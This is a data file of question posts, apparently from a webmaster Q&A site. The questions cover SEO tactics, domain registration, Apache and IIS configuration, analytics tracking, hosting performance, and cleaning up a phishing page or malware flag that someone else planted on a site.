{"id":"2801","title":"What file manager\/uploader do you use with your embeded wysiwyg editor?","text":"I am looking for a wysiwyg editor to allow user to edit part of their website. I already worked with TinyMCE, and heard about CKEditor, which both look great. However, they both lack a free (PHP) file manager\/uploader, as they sell their own tool to make some money. I found a few free alternatives for TinyMCE, the best one (for my needs) being PHP Letter's one, but I was wondering about what the community uses ? Do you buy the \"official\" file manager ? Do you code your own ? Or do you have a great (free) alternative ?"}
{"id":"39684","title":"Table-Sort Script with Search Feature","text":"I lost a **JavaScript-based, sortable-table script** that had a unique feature of a **search box**. The search box that made non-relevant rows disappear when a user typed a word. Any idea where I can find a similar script to this? Again, it is all JavaScript based."}
{"id":"13489","title":"is there a standard template for a website proposal","text":"i am putting together a website for someone and i wanted to see if there is a standard template to use that includes: * pricing (by hour, page or project) * expected bug fixes * costs for hosting and support * additional maintenance. i want to avoid missing some point."}
{"id":"14738","title":"How to do UX for people to use a widget","text":"I have a site that helps people organize hikes. Here is a typical hike page: http:\/\/www.comehike.com\/hikes\/scheduled_hike.php?hike_id=174 I made a widget for people to be able to share their hikes. Here is the widget for the same hike: http:\/\/www.comehike.com\/outdoors\/widget.php?hike_id=174&height=500&width=700 But I am really stuck on how to get my users to understand that they can export their hike as a widget and share it. Plus, what phrasing should I use? \"Share your hike\" or \"make the map into a sharable link\" ? Are there any good examples of such UX and wording? Thanks"}
{"id":"14739","title":"Legal terms required to email users - is opt in necessary","text":"Creating a new site requiring membership to participate. I don't anticipate emailing members at this time except for password related issues. Perhaps down the road emails will be necessary. I want to be proactive and assume I will email the members in the future. What do I need to do to be covered legally when sending emails to all members? Can I get by with including \"You may be emailed\" in the TOS and having users accept TOS? Or do I need to include an opt-in option even though there may never be an email? I really don't want to harm the user experience especially if an email is NEVER sent as could be the case. In the U.S. but users could be worldwide, if that matters."}
{"id":"3369","title":"Is it good to start a website with keyword very popular or not so popular?","text":"I am planning to launch a website. However, it is still undecided as there are many keywords on google to begin with. My question is whether it is good to be a part of well established keyword with millions of search result already OR would it be good to be part of keyword who have search result less than 100 or none. Thanks and regards, Jeet."}
{"id":"28549","title":"phishing attack. Where do I start the cleanup?","text":"I'm a newbie webmaster. I've got a domain and a site... and no clue about the web (I'm OK with files and programs... ) I got a message from google that my site is a possible phishing site, with a link the the suspect page: http:\/\/www.mydomain.com\/~phishers\/Paypal\/us\/Confirm.php needless to say, I didn't put that up. Can someone point me to a good tutorial on what to do now? I'd like to figure out what happened so I can defend against it the next time around. How do I identify what kind of attach this is? Also, what is the tilde doing in the URL path? I couldn't find any path like this on my hosting account, so I'm not entirely sure how to delete it."}
{"id":"12174","title":"Can we Use Google's Ajax Proposal?","text":"In October 2009 on Google's blog (see this link) there was a proposal presented to make ajax websites crawlable. Does anyone know if this got past the proposal stage and is it safe to use the methods outlined in that blog post? It's been 18 months since so I'm guessing something's happened since then, but I can't find any more info about it."}
{"id":"28016","title":"Google detects Malware on my website","text":"Recently Google has been blocking my website after detecting Malware on it. I have checked through the files and can't spot any Malware that might have been inserted anywhere and no additional files have been added from what I can see. In the diagnostics> Malware section og googles webmaster tools for the site it says \"Malware Google has not detected any malware on this site.\" Also on stopbadware.org the website is not on their clearing house. The site is melfordschoolofmotoring.co.uk. So why is google detecting malware?"}
{"id":"3363","title":"Can the password recovery function of Drupal be configured to only ask for email address?","text":"(I originally asked this question in webapps.stackexchange.com.) By default, in Drupal, when we provide a \"set new password\" form, the form asks for either a site username or an email address. If the user provides either a username or email address associated with a valid account, they get an email (at that address) with a link that allows them to set a new password. We'd like to ensure that all of our users are using a current email address, and to that end we'd like to turn _off_ the ability to put in a username. When the user puts in a username, it may send a message to an old email address but return a \"We're sending you email\" to the user. If they put in an email address which we don't have, it gives them an error message, which alerts them to the fact that they haven't kept us up to date (and makes them get in touch with us by email). Can we restrict that to only ask for email?"}
{"id":"34223","title":"Google Webmaster Tools tells me that robots is blocking access to the sitemap","text":"This is my _robots.txt_ : User-agent: * Disallow: \/wp-admin\/ Disallow: \/wp-includes\/ Sitemap: http:\/\/www.mydomain.org\/sitemap.xml.gz But Google Webmaster Tools tells me that robots is blocking access to the sitemap: > We encountered an error while trying to access your Sitemap. Please ensure > your Sitemap follows our guidelines and can be accessed at the location you > provided and then resubmit: **URL restricted by _robots.txt_**. I read that Google Webmaster Tools caches _robots.txt_ , but the file has been updated more than 36 hours ago. **Update:** Hitting TEST sitemap does not cause Google to fetch a new sitemap. Only SUBMIT sitemap was able to do that. (BTW, I dont see whats the point in 'test sitemap' unless you paste your current sitemap in there - it doesnt fetch a fresh copy of the sitemap from the address it asks you to enter before the test - but thats a question for another day.) After submitting (instead of testing) a new sitemap the situation changed. I now get \"URL blocked by _robots.txt_. Sitemap contains URLs which are blocked by _robots.txt_.\" for 44 URLs. There are exactly 44 URLs in the sitemap. This **means that Google is using the new sitemap but it is still going by the old robots rule (which kept everything off-limits)** None of the 44 URLs are in `\/wp-admin\/` or `\/wp-includes\/` (which is kind of impossible anyways, since _robots.txt_ is built on the fly by the same plugin that creates the sitemap). Update 2 It gets worse: on a Google Search results page, the description for the homepage reads: \"A description for this result is not available because of this site's _robots.txt_ – learn more\". All other pages have fine descriptions. There is no _robots.txt_ OR robots meta blocking indexing of the homepage. I'm stuck."}
{"id":"30276","title":"Does Google penalize changed H1 tags?","text":"A friend of mine is worried that changing the font of the `<h1>` tag will cause Google to penalize it (or not assign as much weight to it). He described a situation where small `<h1>` text could be used to fake the important keywords on a page. I assured him that this was silly, but he insists on hard reference. Could anyone link me to something written by Google?"}
{"id":"38792","title":"Is there a way to keep my local IP the same?","text":"Every time I restart my Laptop it changes my LOCAL IP from 192.168.1.102 to 192.168.1.105 or some other random number. Is there a option for it to recognize my MAC and keep my local IP the same, I have to keep changing the opened ports for my port forwarding each restart. ( I don't need a static Public IP, I just need a static IP for my router to allow me to play games, or host websites ect.)"}
{"id":"38793","title":"Tool to get all the Google page ranks of a website","text":"I have a website, I was searching for a tool get the google page ranks of my website But I didn't get the appropriate one. Can anyone suggest tool to do this. (data export options to csv\/excel will be appreciated)."}
{"id":"34228","title":"Subdomain redirect to WWW","text":"I have the domain `example.com` and the `test.example.com` running on apache server. For some reason when I try to visit _test.example_ it is redirected to _www.test.example_ and by consequence a `Server not found` error is displayed in the browser. Both .htaccess (root and subdomain folder) files are empty. **Additional facts** I have another subdomain `xyz.example.com` pointed to public_html\/xyz directory with some content inside (index.html with \"hello world message\") and it works fine if I use xyz.example.com instead of www.xyz.example.com. So, can you help me to point to the right direction in order. I have a vps and I am able to change any file if is required. Below you can find my virtual host configuration. <VirtualHost xx.xxx.xxx:80> ServerName test.example.com ServerAlias www.test.example.com DocumentRoot \/home\/example\/public_html\/test ServerAdmin webmaster@test.example.com UseCanonicalName Off CustomLog \/usr\/local\/apache\/domlogs\/test.example.com combined CustomLog \/usr\/local\/apache\/domlogs\/test.example.com-bytes_log \"%{%s}t %I .\\n%{%s}t %O .\" ScriptAlias \/cgi-bin\/ \/home\/example\/public_html\/test\/cgi-bin\/ # To customize this VirtualHost use an include file at the following location # Include \"\/usr\/local\/apache\/conf\/userdata\/std\/2\/example\/test.example.com\/*.conf\" <\/VirtualHost>"}
{"id":"57731","title":"Do blog comments count as updates to your website?","text":"I constantly hear that websites which are updated frequently do better in terms of SEO, so I was wondering: do blog comments count? I'm guessing they do, since they show that the website still has a 'lifeblood' to it - but I thought it'd be wise to check here first."}
{"id":"4272","title":"Web hosting providers and performance","text":"Is there a way that we can measure performance for a host provider? If so, I would like to start this post as a wiki for everyone to chime in regarding their hosting provider. (I want to change but would like to make more of an informed decision.) **Rules:** **Phase 1** * Post comments to the Question regarding ways to measure performance. * Vote for comments to the Question. * Based on comments I'll edit the Question so that we'll agree to use a particular technique or tool to measure performance. **Phase 2** Once we've decided on the technique or tool...If you want to contribute a measurement for a host provider... 1. If an answer\/measurement for your host provider **_exists_** add your measure as a comment to that answer. 2. If an answer\/measurement for you host provider **_does not exist_** , create a new answer, list that host provider along with your measurement. (Note: perhaps different packages for the same hosting company should be different answers...ex: Media Temple Grid Service and Media Temple Dedicated Virtual should be listed as separate Answers)"}
{"id":"13961","title":"Is it Possible to Earn Revenue by Selling Click Data?","text":"I have read an article about sites like google and facebook using a redirect script to keep track of who clicks what links on the web. And since they have a lot of traffic, they are monitoring a lot users that are clicking a lot of links. However, they aren't the source of 100% of the links in the world, and thus they can not monitor every link that every user clicks on. However, we (the smaller websites) are also capable of monitoring what our visitors click on, though we have to do it on a much smaller scale (we don't have as many visitors as facebook and\/or google). The only problem is, we don't collect enough data for it to be very useful to anyone but us. However, if someone were to pay owners of the small sites for their click data, and combine it into one big dataset, it could be very useful. In fact, it would probably be useful enough that some people would want to pay to have access to that data. I was wondering if there are any websites that use the business model described above (get small websites to sell you their data, and sell the combined data to other corporations). If anyone knows of such a site, it could be an interesting revenue source for webmasters. And if there is not such a site, then it could be an interesting idea for anyone wanting to start a business... NOTE: I'm asking this more out of curiosity than because I actually want to sell my user's click data (though I might consider it in the future)."}
{"id":"47615","title":"What is the default Web browser on Android?","text":"What is the default Web browser on Android devices? Are there weird Web browser set by default that I should be aware of (to test my mobile Website on it)?"}
{"id":"44279","title":"I dont want to hide my headings, but I dont want untitled articles","text":"I'm currently building a site, that contains tabs (Bootstrap) for the articles. I dont want to show headings in the articles, because the tabs work as headings for the user. But the tab buttons are inside a nav element so they are not related to the content. If I outline my document all the articles are untitled. If I add headings and hide them, Google hates me. What would be the best practice? Does it make a difference, if my articles have headings?"}
{"id":"35172","title":"Pros and Cons of Buying Common Website Mispellings","text":"I own a website that is nicely short but somewhat easy to misspell. I would like to buy the three or four most common mispellings and redirect them all to my main page. Are there any major problems with this? I could see it being considered duplicate content and it could make visitors confused as to what the actual name is. Is there anyway to migitate these and other problems?"}
{"id":"18123","title":"how to find that my written content is unique - in terms of google and user?","text":"how to find that my written content is unique - in terms of google and user? I also want to know whether updating the content or user commenting on that article helps in seo?"}
{"id":"18120","title":"Is Google still giving weightage for old domain, i.e at least 6 month old?","text":"Is Google still giving weightage for old domain, i.e at least 6 months old? I mean I have the best content which is useful for users. Do I still have to wait for my domain name to be at least 6 months old?"}
{"id":"18128","title":"How to use low competition keywords with large search volume effectively?","text":"How to use low competition keywords with large search volume effectively? For example : I have keyword phrase \"why does the\" which produce 368,000 global searches (searxch type : phrase in google keyword tool). This keyword has 1% competition. I want to know what can I do with this keyword. NOTE: The phrase is the starting phrase, ex: why does the sun shine?, why does the moon's color white? why does the sky blue?"}
{"id":"4864","title":"How do large sites like StackOverflow handle their access logs?","text":"I'm wondering how large sites like StackOverflow handle their access logs. A write to the disk on every request seems a little bit uneconomical, but is Google Analytics that reliable to use it as your only information resource?"}
{"id":"8585","title":"Moving and redesigning a website","text":"I am currently in the process of redesigning a successful business website. First I will be moving the site to a new web host. Once it is up and running I will begin porting the site into Joomla. Are their any considerations that I need to take into account to keep our rankings where they are? My goal is to also improve our rank as quickly as possible."}
{"id":"34596","title":"How to spot a good social media marketer","text":"It's a bit subjective but helpful and on-topic IMO, mayebe should be made community wiki I've been in contact with some guest bloggers lately which are interested in publishing posts on my website's blog, so far I've done a regular weekly blog and had a guy marketing it, but he's too busy to do more work right now. Now I need someone to market these blog posts on social media, the last guy I just got by recommendation from a friend, but now I need to find one myself. What criteria should I check when it comes to social media marketers? Do the number of followers and fans on their accounts and\/or the number of votes they get for articles they market mean anything, or is impossible to know if it's spam? That's about the only criterion I could think of so far... Thanx to anyone who helps"}
{"id":"8586","title":"How can I export a keyword list from Google Analytics?","text":"In Google Analytics, I've been following several tutorials to export a list of keywords, but something is going wrong. This is what I try: 1.) click traffic sources 2.) click keywords 3.) Click Export 4.) Click CSV The resulting file shows two columns. Column A is dates. Column B is visits. I am trying to export a file so that Column A is keywords and Column B is visits."}
{"id":"15575","title":"Apache Redirect based on directory name","text":"I'm trying to use one install of Kohana to manage two separate sites rather than just duplicate the install. I have directories like this: applications\/ app1\/ app2\/ The .htaccess I have looks like this: RewriteEngine on RedirectMatch app1\/(.*)$ http:\/\/app1.example.com\/$1 RewriteCond %{REQUEST_FILENAME} !.*applications\/app1.* RewriteRule .* applications\/app1\/index.php\/$0 [PT] When I go to `app1.example.com` I get a 500 infinite redirect and the URL is `app1.example.com\/index.php\/index.php\/index.php\/...` What I need is for it to look like it's going to `app1.example.com` but behind the scenes it is redirecting to `document_root\/applications\/app1\/index.php`. I also need this to work for app2 in the same way, but I imagine once I have it working for app1 it will essentially be identical. If you want to throw in any tips on managing multiple sites with one Kohana install that would help too."}
{"id":"14100","title":"Adding jPlayer to Magento site","text":"I've got a simple, working demo page using jPlayer, which I built using the following guide: http:\/\/www.jplayer.org\/latest\/quick-start-guide\/step-8-audio\/ That was pretty straight forward. Now I'm looking for instructions on how to make the necessary `<head>` tag modifications such that I can have jPlayer show up on product pages in Magento."}
{"id":"35312","title":"Tracking URL Goals to an external site from a landing page","text":"I have a landing page promoting an iOS app. The page is at vitogo.com. I've set up a goal for When a user clicks on the link to go to iTunes to download the app. I set up a URL destination goal in the property for the site, and can see the goal set up in the reports section. The problem is it isn't tracking any clicks. I've had the goal set up for a while now, and it hasn't tracked anything. Thanks for the help! EDIT: I now have two goals set up. Both URL Destinations. 1. An internal destination to \/log-in 2. An external destination to http:\/\/itunes.apple.com\/us\/app\/vitogo-fitness-personal-trainer\/id492292132?ls=1&mt=8 I tried setting up an event for the second url with the following tracking code on the link `<a href=\"http:\/\/itunes.apple.com\/us\/app\/vitogo-fitness-personal- trainer\/id492292132?ls=1&mt=8\" onclick=\"_gaq.push(['_trackEvent', 'Downloads', 'AppStore' 'Get the App']);\" target=\"_blank\" class=\"appstore\"><\/a>` I then set up the goal values for the even in Google Analytics as shown in the image below:  The event doesn't record anything. I'm able to set up an internal path as a goal, but can't get an external link to record any information."}
{"id":"5883","title":"Add to vistor data in google analytics?","text":"How can i add data to google analytics? i'd like to attach data to users such as if silverlight is installed, if i suspect the user of using an adblock etc (i would say if javascript is enabled but i am unsure how to add that data if javascript is indeed disabled) How might i do this?"}
{"id":"67592","title":"Adding Keywords in URL - Stuffing or Good Technique","text":"I have about 25 pages on my website and after seeing Matt Cutts talk about how keywords in a URL is a good SEO technique, I decided to rename my files a more SEO friendly name. However, I now have many urls (9) that include the keyword \"ninja-warrior\" (i.e. ninja-warrior-gyms.html, ninja-warrior-training.html). Is that considered stuffing? In addition, I would have to use 301 redirects as I'm changing pretty much every url on my entire website. Evaluating those two concerns, are the SEO rewards of keyword friendly URLs greater than the risks of losing link juice with 301 redirects and possibly getting penalized for keyword stuffing (if that is possible in this scenario)? **Note:** There are a couple similar questions, however I am asking more on a risk vs. reward basis including the downside of having to use many 301 redirects which hasn't been brought up in other questions. It seems this is being perceived as a duplicate."}
{"id":"61053","title":"In 2014 has any SEO value rewriting urls?","text":"In 2014 has any SEO value rewriting urls? If my site consistently links product page, and that product page shows a consistent canonical url, is there a real SEO doing this http:\/\/example.com\/products\/woman-tracksuit-in-hemp instead of this http:\/\/example.com\/product.php?id=6588 I know that a human being would be more comfortable with a rewrited url, but I would like to focus on SEO and bots, especially Google"}
{"id":"23181","title":"Do any CDN services offer multiple urls (or aliases) for your files?","text":"Lets say a company has multiple commercial web properties that happen to use a lot of the same images on each site. For SEO reasons, the sites must not appear to be related to eachother in any way. This means that the sites can't all link to the same image, even though they all use the same one. Therefore, an image is uploaded to each site and served from each site separately. In order to improve maintainability and latency, lets say the company wanted to use a CDN service. What I'm wondering is, if you upload a file, like an image or something, to a CDN, is there basically one single URL that you access that image at? Or do some (or all) CDN services offer alias URLs so that you can access the same resource from multiple URLs? **Example of undesirable situation:** Both sites link to the same file URL Site ABC links to `<img src=\"http:\/\/123.cdnservice.com\/some- path\/myimage.jpg\"\/>` Site XYZ links to `<img src=\"http:\/\/123.cdnservice.com\/some- path\/myimage.jpg\"\/>` **Example of DESIRABLE situation:** Both sites link to the same file via different URLs Site ABC links to `<img src=\"http:\/\/123.cdnservice.com\/some- path\/myimage.jpg\"\/>` Site XYZ links to `<img src=\"http:\/\/123.cdnservice.com\/some-alias- path\/myimage.jpg\"\/>` So in the end, there is only one single file, `myimage.jpg` on the CDN server, but it is accessible from multiple URLs. Is this possible with CDN services? I know this would make browsers cache the same image twice, but at least it would be better for maintainability. Only one file would ever have to be uploaded."}
{"id":"23638","title":"Domain Redirect","text":"I have one domain name & hosting package but would like to add another site (with a different address) to that host. Do I have to purchase from the same provider? Can I purchase the domain elsewhere but get the file redirected to my current host? Is this domain masking?"}
{"id":"5889","title":"How do I get a .name domain name","text":"There was a service which provided email aliases on .name domain, but it seem to be gone now, so I was thinking of actually getting a domain for myself ( _martin.toth.name_ sounds nice). Do I understand it correctly, that I can't get a toth.name domain, but only third level: martin.toth.name? Do I get to have @toth.name emails even then? I've tried several registrars from Verisign's list, but none of them let's me ask for the third level, nor the toth.name (some say it's taken, some that it can't be registered). There's an article linked from Wikipedia entry on .name about cybercrime on .name. Should I look for another top level domain? Is it a disadvantage in search engines or anywehere else? _Note: couldn't post links to those pages, because I'm low on reputation_ So basically: **How does one register a .name domain name?**"}
{"id":"23188","title":"404 error out of no where on .php file","text":"I have a website which I've built that I have gone to a bunch of times today. Out of nowhere I receive a `404 Page Not Found` error, I didn't do anything. The site loads an `index.html` file which points to a `main.php` file which loads the content. Those 2 files are in the same directory and intact. I have no idea why this is happening - how can I troubleshoot the problem? I have already: cleared the cache, tried a new browser, triple-checked the file paths, and checked my hosts file."}
{"id":"23630","title":"Google has cached query string based dynamic page, but how\/why?","text":"I have a multipage form which works largely by posting the form details in query strings to the url. I know this isn't ideal and i've already changed it. However, what was happening is that google was caching results such as mysite.com\/myform?var=var&var2=var2&var3=var3 Where the var(s) were populated with form submitted form details. Any idea why\/how this is happening? Thanks in anticpation."}
{"id":"23632","title":"Error after login to Magento on core\/Mage\/Admin\/Model\/User.php on line 437","text":"None of out programmers has changed anything to the code, but out of nothing now, when a user tries to login on the backend, we have this error: > Fatal error: Call to a member function children() on a non-object in > \/home\/r1tech\/public_html\/app\/code\/core\/Mage\/Admin\/Model\/User.php on line 437 Any ideas why this is happening?"}
{"id":"16011","title":"Why doesn't Firefox cache my images and CSS","text":"I am using IIS7, I have already set up the following. But when I run Firefox it seems not to cache any of my images even with \"remember history\" set. <?xml version=\"1.0\" encoding=\"UTF-8\"?> <configuration> <system.webServer> <staticContent> <clientCache cacheControlCustom=\"public\" cacheControlMode=\"UseMaxAge\" cacheControlMaxAge=\"7.00:00:00\" \/> <\/staticContent> <\/system.webServer> <\/configuration> However when I use Firebug it still points to Firefox not caching images and CSS: public,max-age=604800 Content-Type text\/css Content-Encoding gzip Last-Modified Mon, 27 Jun 2011 03:53:22 GMT Accept-Ranges bytes Etag \"507968c27d34cc1:0\" Vary Accept-Encoding Server Microsoft-IIS\/7.5 X-Powered-By ASP.NET Date Mon, 27 Jun 2011 13:06:41 GMT Content-Length 5067 Request Headersview source Host www.xx.com User-Agent Mozilla\/5.0 (Windows NT 6.1; rv:2.0.1) Gecko\/20100101 Firefox\/4.0.1 Accept text\/css,*\/*;q=0.1 Accept-Language en-us,en;q=0.5 Accept-Encoding gzip, deflate Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive 115 Connection keep-alive Referer http:\/\/www.xx.com\/ Cookie __utma=62996397.135679654.1309106351.1309159743.1309164158.8; __utmz=62996397.1309106351.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=62996397"}
{"id":"25490","title":"Impact on SEO of adding categories\/tags in front of the HTML title","text":"> **Possible Duplicate:** > Does the order of keywords matter in a page title? All StackExchange sites add the most-used tag of a question in front of the HTML title for SEO purposes. On Stackoverflow for example this is usually the programming language, so you end up with a title like > python - How do I do X? This has obviously an enourmous benefit on SEO as the programming language is an extremely important keyword that is very often omitted from the title. Now, my question is for the cases where the tag isn't an important keyword missing from the title, but just a category. So on Biology.SE for example one would have questions like > biochemistry - How does protein X interact with Y? or on Skeptics > medical science - Do vaccines cause autism? Those tags are usually not part of the search terms, they serve to categorize the content but users don't use those tags in their searches. **How harmful is adding tags that are not used in searches in terms of SEO?** Is there any hard data on the impact this practise might have on SEO? The negative aspects I can imagine, but have no data to show that it is actually a problem are: * I heard that search engines dislike keyword stuffing and this might trigger some defense mechanisms against that * It's a practise associated with less reputable sites, a keyword in front that doesn't fit the actual title well might look suspicious to some users. * It wastes precious space in the title shown in search results."}
{"id":"15066","title":"IP - Country based ad delivery","text":"I am looking for an ad manager script\/system (open source or paid) which can deliver different ads based on the IP - country of the visitors. Would be nice if you can name one if you know!"}
{"id":"48974","title":"How should I work out VAT (UK tax) in my eCommerce site?","text":"We have an ecommerce system in place. The sales actually go through Sage, so we have an export script from our system that uses a third-party Sage Importer program. With a new version of this importer, values are checked more thoroughly. We are getting 1 pence discrepancies because of the way rounding works - our system has always held prices and worked to 4 decimal places. In the checkout the totals would be worked out first, then the rounding to 2 decimal places. The importer does rounding first, though. So, for instance: **Our way:** Product 1: £13.4561 Qty: 2 Total inc VAT = £32.29 (to 2dp) **Importer way:** Our way: Product 1: £13.4561 Qty: 2 Total inc VAT = £32.30 (to 2dp) Management are reluctant to lose the 4dp but the developers of the Sage importer have said that this is correct and makes sense -- you woudn't sell a product for £13.4561 in a shop, nor would you charge someone tax at 4 decimal places. I contacted the HMRC and the operator didn't really give me much to go on, telling me a technician would phone back, to which they haven't and I'm still waiting after almost a week and numerous follow-up calls. I did find a PDF on the HMRC's web site, but this did about us much to confuse me as it did to answer my questions. I see that they're happy for people to round up or down, as long it is consistent, but I can't tell whether it should be done on a line by line basis or on the end total of the order. We are now in the position where we need to decide whether it's worth us doing one of the following, or something completely different. Please advise with any experience or information I can read. * Change all products on the site to use 2dp * Keep 4dp but round each line in the order to 2dp before working out tax * Keep it as it is and \"fudge\" the values at the export script (i.e. make that values correct by adding or subtracting 1p and changing the shipping cost to make the totals still work out) Any thoughts?"}
{"id":"6559","title":"Right “time” for publishing on multinational\/global websites?","text":"I have a website on which I publish a daily update. Its just german, so Germany\/Austria\/Switzerland which all share the same timezone. So the system always publishes the daily new content at midnight, which is fine. But now I plan to go tap into english\/spanish\/french\/italien speaking areas. I thought about publishing everywhere at midnight, so californians essentially see the content 18 hours before australians do... Any ideas on that? How do other websites do it? Or maby is there a method to keep the shifting delay smaller? Because the zones utc -11 and +12 are essentially only 1 hour apart (when it comes to the time of day, not the actual date). Any ideas?"}
{"id":"27743","title":"301 redirects mirrored domain","text":"I'm redesigning a site for a friend on my localhost. His old site is an .asp based site and we're replacing it with a WordPress site on LAMP hosting. The old site sits on domain A and also has another domain, domain B parked on top of it mirroring it. Google has picked up domain B for most of his search engine results and yahoo and bing etc have picked up domain A. The plan is to 301 redirect the the old pages of his site on domain A to the new WordPress versions and park domain B on top of it like before. My question is, will this work, if not what would be a better way to approach it? We'd prefer not to lose any of the search engine listings in the redesign, and the search engines don't appear to have penalized him for duplicate content. Thanks very much in advance!"}
{"id":"22328","title":"How to find the Fastest DNS servers to host our domain?","text":"The question was born because lately we've seen a pretty odd (well, at least for us, for the first time) - error message in Google webmaster tools - \" **DNS lookup timeout** \" ... I was pretty sure that with eNom's 5 DNS servers (dns1... to dns5.name-services.com) we're pretty set... But it appears that from (Europe\/Hungary), for example - dns1.name- services.com takes 170ms. to respond on a ping... while GoDaddy's ns75.domaincontrol.com - takes only 40 ms. to respond... and at the same time - dns2 to dns5.name-services.com - each result with a timeout error (on ping)... This issue came to our attention right in the final stages of optimizing our web-site (almost to death) - basically, just in time... **I would love to move our domains to a fast (fastest?) and reliable DNS server.. - but how do I find one ?** Also - I did the ping tests from various geographic locations (we have servers in many countries) and GoDaddy seemed to be faster than eNom almost in every case. I'd be very thankful for any hints on this! Edited: Well.. maybe this one does not have an answer, after all..."}
{"id":"16012","title":"How is this site so fast?","text":"how is the website http:\/\/dftba.com\/ so fast? when i click a link it loads right then? what makes it work like this? how do i make it work like this on my site? some of the objects on the site are being hosted by a website called `ecogeek- cdn.net`? who is this company and why do they host the images of this site? i have been looking into this site some time because i want this site to be like mine site they site use Apache they site use Python (when asked the developer told me this) they site use jquery and jqueryui they site is custom built not using wordpress they site is ~~owned~~ hosted by liquidweb they site gets a million users a month they site launched in january they site uses cpanel ~~they site does not have SSH or FTP (i tried to connect but it denied me all)~~ they does have SSH and FTP but only allowed by their addresses Please; my english is not as good as yours"}
{"id":"59438","title":"Random Apache and NginX stops","text":"I have a virtuell server from strato (german hoster) running on ubuntu Ubuntu 12.04.1 LTS with plesk. Lately I have problems that my webserver once in a while doesn't respond request. so I startet watchdog with a check frequence from a minute. Apache serves php5. Watchdog Nginx message > The Web Proxy Server (Nginx) service on host xyz.de is down. The problem was > discovered on Mär 13, 2014 06:12 . Watchdog apache message > The Web Server (Apache) service on host xyz.de is down. The problem was > discovered on Mär 16, 2014 03:13 . Turning of nginx, apache has the same problems. The services stop and start again straigt away. Services are down for for something less than a minute. Watchdog sends me a message one minute later that the services (apache\/nginx) started again. It seems that apache\/nginx anyhow just crash. Neither apache nor nginx error.logs show anything. Any idea why this \"crashes\" happen and how I can figure out what may be the problem and how to solve it? I really appreciate your help"}
{"id":"22321","title":"Analytics Tracking and SEO","text":"I'm using piwik on some of my websites and recently switched from google analytics. I find most of the stuff same on both analytics. But i always had this question in mind that what am i supposed to track other than these ? * Bounce rate * Referral sites * Keywords * Geolocation * Periodic data(Month, year, week) for above factors Any other SEO factors to be considered while tracking with any analytics software ?"}
{"id":"25928","title":"Bounce Rate skewed by Conversion","text":"We've got a landing page with a list of games and users generally either click the \"Play Now\" button (which goes to an external site) or they just leave. Currently, our bounce rate is 30%, but we can't differentiate between the users going to the conversion page or just leaving in our Bounce Rate %. Is there a way to specify that a certain URL shouldn't affect bounce rate in Google Analytics?"}
{"id":"22324","title":"What is adding frog characters to my URLs?","text":"While browsing the \"Crawl Errors\" section of Google Webmaster Tools, I discovered a set of very strange 500 errors in reference to my site:  I was able to track down what these characters are, and apparently they are the first two characters in the Unicode Private Use Area. My font just happened to map them to a frog wearing a tiny crown, and a symbol that resembles the numeral 7. These symbols only appear on the addresses of non-HTML files; office documents, PDFs, etc. - but they do not just appear in the file name. Where are these symbols coming from, and is there any way I can get rid of them so Google can properly crawl my site? Some background information: * Using Web Server running WS2K3 with IIS6 and PHP 5.3.8 * Site encoding is UTF-8 * These symbols don't appear on the page, or in the source"}
{"id":"22325","title":"Is it \"acceptable\" for a sub domain to be hyphenated?","text":"I am putting together a site for a portal. Some of the subdomains have rather long names and I am thinking that maybe I should use hyphens to make the subdomain names more readable. For instance: `alternative-medicine.mysite.com` instead of `alternativemedicine.mysite.com`. However, I can't recall ever seeing a hyphenated subdomain - is this because it is generally frowned upon? Or are there technical (SEO) reasons why this appears to be the case? In short, will hyphenating my subdomains have a negative impact on SEO?"}
{"id":"22326","title":"Why my web site was visited by ARPA?","text":"20 minutes ago a user-agent with 66.116.153.122 IP address has visited my web site. It's domain is `rev.opentransfer.com.122.153.116.66.in-addr.arpa`. User- agent: `Mozilla\/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.11) Gecko\/20101012 AskTbSPC2\/3.8.0.12304 Firefox\/3.6.11`. Language: `en- us,en;q=0.5,de-de,de;q=0.8`. Compression: `gzip,deflate`. Oh, and my domain name ends with `.name`. Why ARPA has visited me?"}
{"id":"56458","title":"I have a lot of keywords","text":"I have 100 000 keywords on my website. But I can't put them in meta keywords tag, so I make a function who displays 20 keywords in the footer of my website, \"randomly\" for each \"refresh of page\". so like that Google can see them for each reloading of my pages. Each refresh page, gives him 20 other keywords. And I add a link for each keyword to the same content with each different URL, so I create a duplicate content. Can you give me a better solution for using all my 100 000 keywords, without using duplicate content?"}
{"id":"47975","title":"SEO + ViewState = to the bottom for crawlers only? Is it cloaking?","text":"I have some large controls that are swelling my ViewState to 10KB+. Ignoring the discussion about using alternatives to ViewState, I'm trying to minimize any impact my ViewState might have on SEO. Here's what my research has lead me to believe: * A lot of developers like to **move ViewState to the bottom of the page** by overriding Page.Render. At first glance, this works great but **some people experience problems** when their site is under load, or if a user gets an itchy trigger finger and submits a form before the page is done rendering (before the ViewState is in place). There are enough question marks here that I want to avoid this technique. * You can check if the UserAgent is a crawler (through various methods) and simply **disable ViewState when you're not dealing with a real user**. This also appears to do the trick (and in 3 lines of code), but some **people are concerned that this is _cloaking_** , and could actually do more harm than good to your SEO. While the intent in this case is obviously not cloaking, the result does render out significantly less KB to crawlers than to actual users and I can see the potential for automated red flags. I'm not satisfied with either scenario, and I'm not able to find anything more on the topic. My potential solution is to combine the techniques by **moving the ViewState to the bottom of the page _only when_ the UserAgent is a crawler**. * The crawler doesn't use the ViewState anyway, so the potential pitfalls of moving the ViewState to the bottom don't apply. * The same content gets delivered to crawlers and real users, albeit in a different order. * The crawler sees all my juicy keywords right there in the first few KB of the page. I was **hoping that I could get some feedback** on this technique, especially the following: * Could this still be considered cloaking? * Are there any potential issues with this approach? * Am I overthinking it? Is there an easier approach that I wasn't able to find through Google?"}
{"id":"25673","title":"Does anyone know where I can register a website with a .cat TLD?","text":"I have been looking to register a website with the TLD '.cat'. I know it was created for catalan websites, but I want to do a domain hack, like bit.ly (which appears to be English). But all the hosts I've looked at just allow you to register a site with generic TLDs, such as .com, .org, .info etcetera. I've been searching for a company which can host a .cat website for a while now and just can't find one, I also tried a whois (which I don't really understand) on .cat sites but that's not my area, so I was unsuccessful in locating the hosting company of other .cat sites. I've looked at similar questions, such as Where can I register .tw domain extensions? but no joy. I would really appreciate a link or pointer in the right direction. Thank you."}
